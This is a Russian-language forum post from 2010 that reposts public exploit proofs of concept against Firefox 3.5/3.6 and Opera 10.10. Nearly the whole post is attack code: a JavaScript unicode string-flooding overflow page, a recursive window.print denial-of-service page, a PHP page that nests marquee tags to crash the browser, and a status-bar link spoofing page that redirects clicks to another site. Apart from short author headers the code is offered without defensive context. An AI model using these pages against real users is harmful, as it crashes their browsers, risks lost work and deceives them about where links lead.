
23.03.2010, 23:43
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Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
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Уязвимости браузеров
Firefox 3.5 unicode stack overflow. Andrew Haynes , Simon Berry-Byrne
Код:
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141䅁");
var str2 = unescape("");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str, 21000000);
document.write(finalstr2);
document.write(finalstr);
function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>
# milw0rm.com [2009-07-15]
Добавлено через 12 минут
Mozilla Firefox 3.6 (Multitudinous looping )Denial of Service Exploit
Код:
# EDB-ID: 11432
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Asheesh kumar Mani Tripathi
# Published: 2010-02-13
# Verified: yes
# Download Exploit Code
# Download N/A
view source
print?
=======================================================================
Mozilla Firefox 3.6 (Multitudinous looping )Denial of Service Exploit
=======================================================================
by
Asheesh Kumar Mani Tripathi
# code by Asheesh kumar Mani Tripathi
# email informationhacker08@gmail.com
# company aksitservices
# Credit by Asheesh Anaconda
#Download www.mozilla.com/firefox
#Background
Mozilla Firefox is a popular internet browser. .....:)
#Vulnerability
This bug is a typical result of multitudinous loop.
The flaw exists when the attacker put window.printer() funtion
in multitudinous loop.User interaction is required to
exploit this vulnerability in that the target must visit a malicious
web page.
#Impact
Browser doesn't respond any longer to any user input, all tabs are no
longer accessible, your work if any might be lost.
#Proof of concept
copy the code in text file and save as "asheesh.html" open in Mozilla Firefox
========================================================================================================================
asheesh.html
========================================================================================================================
<html>
<title>asheesh kumar mani tripathi</title>
<script>
function
asheesh()
{
window.onerror=new Function("history.go(0)");
window.print();
asheesh();
}
asheesh();
</script>
</html>
========================================================================================================================
#If you have any questions, comments, or concerns, feel free to contact me.
Добавлено через 42 минуты
Mozilla Firefox <= 3.6 Denial Of Service Exploit
Код:
# EDB-ID: 11590
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Ale46
# Published: 2010-02-27
# Verified: yes
# Download Exploit Code
# Download Vulnerable app
view source
print?
<?php
/*
* Title: Mozilla Firefox <=3.6 - Remote Denial Of Service Exploit
* Date: 25/02/10
* Author: Ale46 - ale46[at]paranoici[dot]org
* Software Link: http://www.mozilla-europe.org/en/firefox/
* Version: 3.6 and 3.5.8 are vulnerable so I think that all versions <= 3.6 have the same issue
* Tested on: Windows 7 x32\x64 - Ubuntu 9.10 x32
* Description: visiting this php page you'll get an instant crash of Firefox
* Greetz: Gandalf
* Extra Greetz: University of Palermo and its fantastics rules for the Computer Engineering degree (how beautiful 's irony)
*/
$a = '<marquee>';
$b = '</marquee>';
for ($i=0;$i<=1000;$i++){
$a .= '<marquee>';
$b .= '</marquee>';
}
echo '<body>';
echo $a;
echo "hadouken!";
echo $b;
echo '</body>';
?>
Opera 10.10 Status Bar Obfuscation
Код:
<center><h1>Opera 10.10 Status Bar Obfuscation</h1>
<br>
<strong>Author : 599eme Man.<br >
Contact : flouf@live.fr</strong><br >
_______________________________________________________________________
<br>
<br>
<br>
Click on google (look the Status bar) and you'll be redirect on Yahoo<br><strong><h1><a onclick="javascript:OB();" href="http://www.Google.com">http://www.Google.com</a></h1></strong></center>
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<font style="font-family:arial;font-size:32px">Look Here<br>
| <br>
V
<script>
function OB() {
document.write('');
document.location='http://yahoo.com';
}
</script>
Последний раз редактировалось 547; 23.03.2010 в 23:51..
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